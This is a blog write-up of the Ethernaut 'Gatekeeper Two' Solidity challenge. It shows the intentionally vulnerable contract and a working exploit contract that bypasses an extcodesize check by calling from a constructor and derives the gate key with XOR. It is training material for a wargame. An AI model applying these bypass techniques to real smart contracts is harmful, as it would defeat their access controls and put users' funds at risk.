Ethernaut - 14. Gatekeeper Two
27 Sep 2022ethernaut
solidity
Difficulty: 🌕🌕🌕🌑🌑
This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
Things that might help:
- Remember what you’ve learned from getting past the first gatekeeper - the first gate is the same.
- The
assembly
keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See here for more information. Theextcodesize
call in this gate will get the size of a contract’s code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.- The
^
character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see here). The Coin Flip level is also a good place to start when approaching this challenge.
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
Writeup
There are three gates we need to pass.
- Gate one : Using the contract to call the method.
msg.sender
will be the contract address andtx.origin
will be my account address. - Gate two : When contract is being created, code size (extcodesize) is 0. Write all code in
constructor()
to pass the check. To learn more detail, you can visit this website. - Gate three : If a ^ b = c then c ^ a = b . We can use this logic to derive the value of
_gateKey
. To learn more detail, you can visit this website.
- Get new instance.
- Create a new contract.
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; interface IGatekeeperTwo { function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperTwoExploiter { constructor() { unchecked{ bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) - 1 ); IGatekeeperTwo(YOUR_INSTANCE_ADDRESS).enter(key); } } }
- Compile and deploy.
- Submit instance ξ( ✿>◡❛)